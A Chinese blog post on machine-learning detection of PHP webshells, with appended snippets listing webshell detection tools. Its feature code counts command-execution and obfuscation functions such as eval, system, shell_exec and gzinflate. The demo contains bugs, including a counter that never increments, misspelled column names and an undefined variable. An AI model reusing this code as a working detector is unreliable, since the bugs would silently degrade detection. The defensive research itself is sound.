    因此,或许可以将熵作为其中的一个特征维度

    以下代码封装了一个函数,通过读取文件并计算整个文件的熵,返回计算结果

    def getfileshan(x):
        length = 0
        word = {}
        p = 0
        sum = 0
        with open(x,'r',encoding='ISO-8859-1') as f:
            content = f.readlines()
            for i in content:
                for j in i:
                    if j != '\n' and j != ' ':
                        if j not in word.keys():
                            word[j] = 1
                        else:
                            word[j] = word[j] + 1
                    else:
                        pass
            f.close()
        for i in word.keys():
            sum = sum + word[i]
        for i in word.keys():
            p = p - float(word[i])/sum * math.log(float(word[i])/sum,2)
        return p
    
    df['shan'] = df['file'].map(lambda x:getfileshan(x)).astype(float)
    

    通过可视化,我们可以看出来:

    正常文件的熵主要分布在4-6之间,形如正态分布,峰值在5左右,而webshell的分布更多的位于5-6之间

    接下来 依据安全方面的经验 看一下还会有什么其他的特征

    比如说 你一个木马,小到一句话,大到什么什么组大马 都需要shell功能吧,需要命令执行吧

    因此,我们看一看文件中是否包含命令执行类的函数

    常见的如 assert() eval() system() cmd_shell() shell_exec()

    同时为了尽可能准确,依据经验,我们统计文件中出现这类函数的次数,防止正常文件也需要进行执行命令或者断言等操作,而仅仅判断是否出现过更容易造成误判

    依照这个思想,我们还可以选区常见的:

    (1)文件,目录操作类函数

    (2)解码编码类函数

    (3)文件压缩类函数

    (4)字符编码转换类函数

    (5)字符替换类函数

    (6)动态函数类等其他敏感不常见操作

    同时,还有一个重要的特征,最长的单词长度,这个主要是针对进行编码加密的文件,他可能把符合php愈发的文件加密的乱七八糟

    我们依次统计这些维度,并返回成一个tuple

    import re
    def getfilefunc(x):
        content = ''
        content_list = []
        with open(x,'r',encoding='ISO-8859-1') as f:
            c = f.readlines()
            for i in c:
                content = content + i.strip('\n')
            f.close()
        content_list = re.split(r'\(|\)|\[|\]|\{|\}|\s|\.',content)
        max_length = 0
        for i in content_list:
            if len(i) > max_length:
                max_length = len(i)
            else:
                pass
        #print(content_list)
        count_exec = 0
        count_file = 0
        count_zip = 0
        count_code = 0
        count_chr = 0
        count_re = 0
        count_other = 0
        for i in content_list:
            if 'assert' in i or 'system' in i or 'eval' in i or 'cmd_shell' in i or 'shell_exec' in i:
                count_exec = count_exec + 1
            if 'file_get_contents' in i or 'fopen' in i or 'fwrite' in i or 'readdir' in i or 'scandir' in i or 'opendir' in i or 'curl' in i:
                count_file = count_file + 1
            if 'base64_encode' in i or 'base64_decode' in i:
                count_code = count_code + 1
            if 'gzcompress' in i or 'gzuncompress' in i or 'gzinflate' in i or 'gzdecode' in i:
                count_zip = count_zip + 1
            if 'chr' in i or 'ord' in i:
                count_chr + count_chr + 1
            if 'str_replace' in i or 'preg_replace' in i or 'substr' in i:
                count_re = count_re + 1
            if 'create_function' in i or 'pack' in i:
                count_other = count_other + 1
        #print(x)
        return (max_length,count_exec,count_file,count_zip,count_code,count_chr,count_re,count_other)
    

    由于是demo,代码写得比较丑,但是个人感觉容易理解23333

    df['maxlen'] = df['func'].map(lambda x:x[0])
    df['exec'] = df['func'].map(lambda x:x[1])
    df['file'] = df['func'].map(lambda x:x[2])
    df['zip'] = df['func'].map(lambda x:x[3])
    df['code'] = df['func'].map(lambda x:x[4])
    df['chr'] = df['func'].map(lambda x:x[5])
    df['re'] = df['func'].map(lambda x:x[6])
    df['other'] = df['func'].map(lambda x:x[7])
    

    至此 特征选择部分完成

    下一步:归一化

    所谓归一化,就是不数据的范围放缩至一个相同的范围以避免数据跨度或量级的巨大差别而导致训练上的困难或者结果上的偏差 sklearn给出了丰富强大的接口来帮你

    from sklearn import preprocessing
    from sklearn.utils import shuffle
    from sklearn.svm import SVC
    from sklearn.linear_model.logistic import LogisticRegression
    

    不得不说python真的太舒服了

    scaler = preprocessing.StandardScaler()
    
    len_scale_param = scaler.fit(df['len'].values.reshape(-1,1))
    df['len_scaled'] = scaler.fit_transform(df['len'].values.reshape(-1,1),len_scale_param)
    

    其他特征也依次作如上处理

    之后,我们选取需要用到的特征带入模型,并将其打乱

    train_pre = df.filter(regex = 'label|len_scaled|shan_sclaed|maxlen_sclaed|exec_sclaed|zip_sclaed|code_sclaed')
    train_pre = shuffle(train_pre)
    

    以下block用于将pandas.DataFrame格式的数据转化为numpy.ndarray格式 也就是通俗意义上的矩阵

    算法的本质就是矩阵的计算和参数的优化过程

    train_pre =train_pre.as_matrix()
    

    至此特征工程部分完成

    接下来 我们将数据集分为两个部分,分别作训练集和测试集

    由于是简单demo 我们使用前7000数据作为训练集,后700数据做测试

    y_train = train_pre[0:7000,0]
    x_train = train_pre[0:7000,1:]
    y_test = train_pre[7000:,0]
    x_test = train_pre[7000:,1:]
    

    由于我们的特征维度较少,并且数据量很少(不到一万)

    因此logistic 回归也许是一个不错的选择

    以下代码调用sklearnd提供的模型接口,使用fit()方法训练数据,并使用predict()方法进行测试

    计算最终的准确率

    print ('now training')
    lr = LogisticRegression().fit(x_train,y_train)
    print ('training finished')
    model = lr.predict(x_test)
    
    from sklearn import metrics
    from sklearn.metrics import accuracy_score
    accuracy_score(model,y_test)
    
    OUT:0.8010139416983524
    

    可以看到准确率只有80.1%,差强人意

    我也使用了svm等算法建模,准确率均再80%上下

    最后尝试非常好用的xgboost

    xgboost时一种提升方法,他和lgbm是目前算法竞赛重用的最广泛的机器学习模型(

    我们可以使用python的 xgboost库进行建模或者使用接口XGBClassifier

    笔者使用了这两种方法测试

    以下为XGBClassifier的结果

    model = xgb.XGBClassifier(max_depth=3, n_estimators=10000, learn_rate=0.01)

    这一行代码就是调用接口的方法,参数max_depth指定树的深度 n_estimators指定迭代次数 ,learn_rate指定学习率

    最终准确率为94.6%

    本方法再工程上具有非常大的提升空间,如使用交叉验证的方法来选择模型,做更加精细的特征工程,特征组合

    由于数据集较小,又担心训练集熵较好的效果会导致过拟合而降低泛化能力。

    读者可按照自己想法进行拓展和优化

    params = {
        'booster': 'gbtree',
        'num_class': 2,               # 类别数,与 multisoftmax 并用
        'gamma': 0.1,                  # 用于控制是否后剪枝的参数,越大越保守,一般0.1、0.2这样子。
        'max_depth': 12,               # 构建树的深度,越大越容易过拟合
        'lambda': 2,                   # 控制模型复杂度的权重值的L2正则化项参数,参数越大,模型越不容易过拟合。
        'subsample': 0.7,              # 随机采样训练样本
        'colsample_bytree': 0.7,       # 生成树时进行的列采样
        'min_child_weight': 3,
        'silent': 1,                   # 设置成1则没有运行信息输出,最好是设置为0.
        'eta': 0.007,
        'seed': 1000,
        'nthread': 4,
    }
    
    params['eval_metric'] = 'error'
    num_round = 200
    dtest = xgb.DMatrix( x_test, label=y_test)
    evallist  = [(dtest,'test'), (dtrain,'train')]
    model = xgb.XGBClassifier(max_depth=3, n_estimators=10000, learn_rate=0.01)
    model.fit(x_train, y_train)
    test_score = model.score(x_test, y_test)
    

    最终得分

    test_score
    OUT:0.9467680608365019

     

    原文地址:https://zhuanlan.zhihu.com/p/58676764

    展开全文
  • 10款常见的Webshell检测工具

    千次阅读 2020-04-10 08:00:06
    当网站服务器被入侵时,我们需要一款Webshell检测工具,来帮助我们发现webshell,进一步排查系统可能存在的安全漏洞。本文推荐了10款Webshll检测工具,用于网站入侵排查。...

    当网站服务器被入侵时,我们需要一款Webshell检测工具,来帮助我们发现webshell,进一步排查系统可能存在的安全漏洞。

    本文推荐了10款Webshll检测工具,用于网站入侵排查。当然,目前市场上的很多主机安全产品也都提供这种WebShell检测能力,比如阿里云、青藤云、safedog等,本文暂不讨论。


    1、D盾_Web查杀

    阿D出品,使用自行研发不分扩展名的代码分析引擎,能分析更为隐藏的WebShell后门行为。

    兼容性:只提供Windows版本。

    工具下载地址:

    http://www.d99net.net/down/WebShellKill_V2.0.9.zip
    

    2、百度WEBDIR+

    下一代WebShell检测引擎,采用先进的动态监测技术,结合多种引擎零规则查杀。

    兼容性:提供在线查杀木马,免费开放API支持批量检测。

    在线查杀地址:

    https://scanner.baidu.com/
    

    3、河马

    专注webshell查杀研究,拥有海量webshell样本和自主查杀技术,采用传统特征+云端大数据双引擎的查杀技术。查杀速度快、精度高、误报低。

    兼容性:支持Windows、linux,支持在线查杀。

    官方网站:

    https://www.shellpub.com/
    

    4、Web Shell Detector

    Webshell Detector具有“ Webshell”签名数据库,可帮助识别高达99%的“ Webshell”。

    兼容性:提供php/python脚本,可跨平台,在线检测。

    官方网站:

    http://www.shelldetector.com/
    

    github项目地址:

    https://github.com/emposha/PHP-Shell-Detector
    

    5、CloudWalker(牧云)

    不完全体,目前放出的是一个称为的命令行版本Webshell检测工具,开源项目已停止更新。

    兼容性,提供linux版本,Windows 暂不支持。

    在线查杀demo:

    https://webshellchop.chaitin.cn/
    

    github项目地址:

    https://github.com/chaitin/cloudwalker
    

    6、Sangfor WebShellKill

    Sangfor WebShellKill(网站后门检测工具)是一款web后门专杀工具,不仅支持webshell的扫描,同时还支持暗链的扫描。是一款融合了多重检测引擎的查杀工具。能更精准地检测出WEB网站已知和未知的后门文件。

    兼容性:支持Windows、linux

    工具下载地址:

    http://edr.sangfor.com.cn/backdoor_detection.html(已停止访问)
    

    7、深度学习模型检测PHP Webshell

    一个深度学习PHP webshell查杀引擎demo,提供在线样本检测。

    在线查杀地址:

    http://webshell.cdxy.me/
    

    8、PHP Malware Finder

    PHP-malware-finder 是一款优秀的检测webshell和恶意软件混淆代码的工具

    兼容性:提供linux版本,Windows 暂不支持。

    github项目地址:

    https://github.com/jvoisin/php-malware-finder
    

    9、findWebshell

    这个项目是一款基于python开发的webshell检查工具,可以根据特征码匹配检查任意类型的webshell后门。

    github项目地址:

    https://github.com/he1m4n6a/findWebshell
    

    10、在线webshell查杀工具

    在线查杀地址:

    http://tools.bugscaner.com/killwebshell/
    

    加入我的知识星球,获取更多安全干货。

    展开全文
  • WebShell检测技术

    千次阅读 2013-09-22 11:52:44
    一、Webshell 的常见植入方法   -启明星辰 Leylo Trent WebShell 攻击是常见的用来控制Web 服务器的攻击方法,WebShell 文件通常是可执行的脚本文件,例如asp, php, jsp 文件,有些辤可利用web 服务器...
  • 世界上没有绝对安全的系统 当一名黑客获得你的访问控制权限 他可以操作你的服务器 你的数据库,你的后台 甚至,你的一切…… 网站被入侵了? 办案人员常常接到这样的案件:某单位...那到底什么是webshell?它有什么...
  • Webshell简介 安全人员所说的Webshell的web指的是在web服务器,而shell是用脚本语言编写的脚本程序,Webshell通常是一个可执行的脚本文件。攻击者在入侵时,通常要通过各种方式取得webshell,从而获得网站的控制权,...
  • webshell原理

    万次阅读 2018-09-28 13:08:56
    webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管...
  • webshell检测方法归纳

    2018-06-29 20:07:00
    背景 webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门... webshell检测模型 Webshell的运行流程:ha...
  • 机器学习应用之WebShell检测

    千次阅读 2017-12-09 11:51:22
    前段时间在研究WebShell的检测查杀,然后看到兜哥的著作中提到的几个机器学习算法中也有实现WebShell检测的,主要有朴素贝叶斯分类、K邻近算法、图算法、循环神经网络算法等等,就一一试试看效果吧。 Python中的几个...
  • 从本篇文章开始,笔者计划做一个关于webshell检测方式的小专题。 目的在于深入分析当前常见且流行的几类检测方式,介绍其检测原理,展现各种检测方式在检出率和误报率上的优劣势。 同时在每类检测方式中,选取一款...
  • 基于深度学习的webshell检测(二) ReLuQ 1 人赞同了该文章 综述 上一篇主要讲述如何使用机器学习方法来进行webshell检测,本章将使用深度学习方法同样完成这一任务 webshell,从本质上来看就是一个代码文件,...
  • 浅谈webshell检测方式

    2016-01-10 16:58:57
    一 什么是webshell“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为匿名用户(***者)通过网站端口对网站服务器的某种程度上操作的权限。简单理解...
  • linux系统webshell检测

    2020-06-07 10:26:29
    深信服Webshell网站后门检测工具:http://edr.sangfor.com.cn/backdoor_detection.html 四、RPM check检查 系统完整性可以通过rpm自带的-Va来校验检查所有的rpm软件包,查看哪些命令是否被替换了: ./...
  • 该篇文章讲述了NeoPI如何利用统计学特征来检测webshell,笔者认为NeoPI选择的这些统计学方法在webshell检测上有些鸡肋,没有太大的实用效果。 反而其中的各种统计学方法值得学习一下,因此文章会重点讲解这些统计学...
  • Webshell检测

    2020-04-14 14:52:05
    即使是一款拥有99.9%的Webshell检出率的检测引擎,依然可能存在Webshell绕过的情况。 最好的方式就是做文件完整性验证。 1、文件MD5校验,将所有网站文件计算一次hash值保存,当出现应急情况时,重新计算一次hash值...
  • 又到了周末,大好时间不能浪费,翻看之前下载的论文,发现有一篇讲述的webshell检测。通读一遍后发现作者的检测思路很新颖,但是看到后边也有些地方看的云里雾里,特写篇文章整理一下作者的思路和我的疑问,作为...
  • 文章目录前言主流Webshell检测思路1. 特征检测2. 统计分析3. 机器学习4. 动态检测5. 流量日志检测6. 白名单检测洋葱语义动态检测引擎语义污点追踪1. AST2. 静态污点分析(1)危险汇聚点(2) 污点传播(3) 污染源(4) 检测...
  • WebShell检测思路浅谈

    2012-03-28 18:03:30
    0x00 前言0x01 Webshell检测模型0x02 静态特征检测0x03 动态特征检测0x04 结语 0x00 前言 什么是webshell?我相信如果看官能有兴趣看这篇文章,一定对webshell有个了解。不过不了解也没关系,那就请先搜索下相关...
  • 浅谈webshell检测方法

    2014-01-15 22:45:50
    一 什么是webshell “web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为匿名用户(入侵者)通过网站端口对网站服务器的某种程度上操作的权限。 ...
  • ##检测方法 文件 hash 比较以及 fuzzy hash ([已知文件|未知文件]) (ssdeep) 代码特征值,危险函数检测 (yara) 最开始的思路就是调用yara和ssdeep这两个程序进行检测,但是后来发现直接用编译好的ssdeep进行...
  • 上半年Webshell话题很火,业界举办了数场对抗挑战赛,也发布了多篇站在安全产品侧,着重查杀思路的精彩文章,但鲜有看到以蓝军视角为主的paper。 作为多场挑战赛的参赛者及内部红蓝对抗的参与者,笔者试着站在蓝军...
  • 百度提供了一个webshell检测的接口,支持单文件、压缩包(多/单文件)但是貌似数据库比较旧。仅当做程序学习!代码如下: #-*-coding:utf-8-*- from poster.encode import multipart_encode from poster....
  • webshell利用原理

    千次阅读 2019-03-03 14:55:37
    WebShell,顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器WEB目录下正常的网页文件混...
  • Webshell安全检测

    2018-03-08 11:03:01
    webshell一般有三种检测方式:基于流量模式基于agent模式(实质是直接分析webshell文件)基于日志分析模式Webshell的分类笔者总结如下:前段时间由于工作的需要完成了一个Webshell检测系统,根据当时的需求写了...
  • 基于BP神经网络的Webshell检测方法研究,赵彤彤,罗守山,Webshell是一种常见的基于Web服务的网页后门,攻击者通过将Webshell植入Web服务器来进行非法操作。为解决Webshell检测特征覆盖不全,漏报、
  • 基于多通道卷积神经网络的Webshell检测模型研究,于泓凯,李文敏,本文提出了一种新的Webshell通信流量精细化检测模型,该模型根据Webshell在HTTP流量中针对Webshell攻击的payload大小、形式多变的特点,使用�
  • 0×01:Webshell简介 攻击者在入侵企业网站时,通常要通过各种方式获取webshell从而获得企业网站的控制权,然后方便进行之后的入侵行为。常见攻击方式有:直接上传获取webshell、SQL注入、远程文件包含(RFI)、FTP,...
  • http://www.open-open.com/lib/view/open1456751673359.html

空空如也

1 2 3 4 5 ... 20
收藏数 7,409
精华内容 2,963
关键字:

webshell检测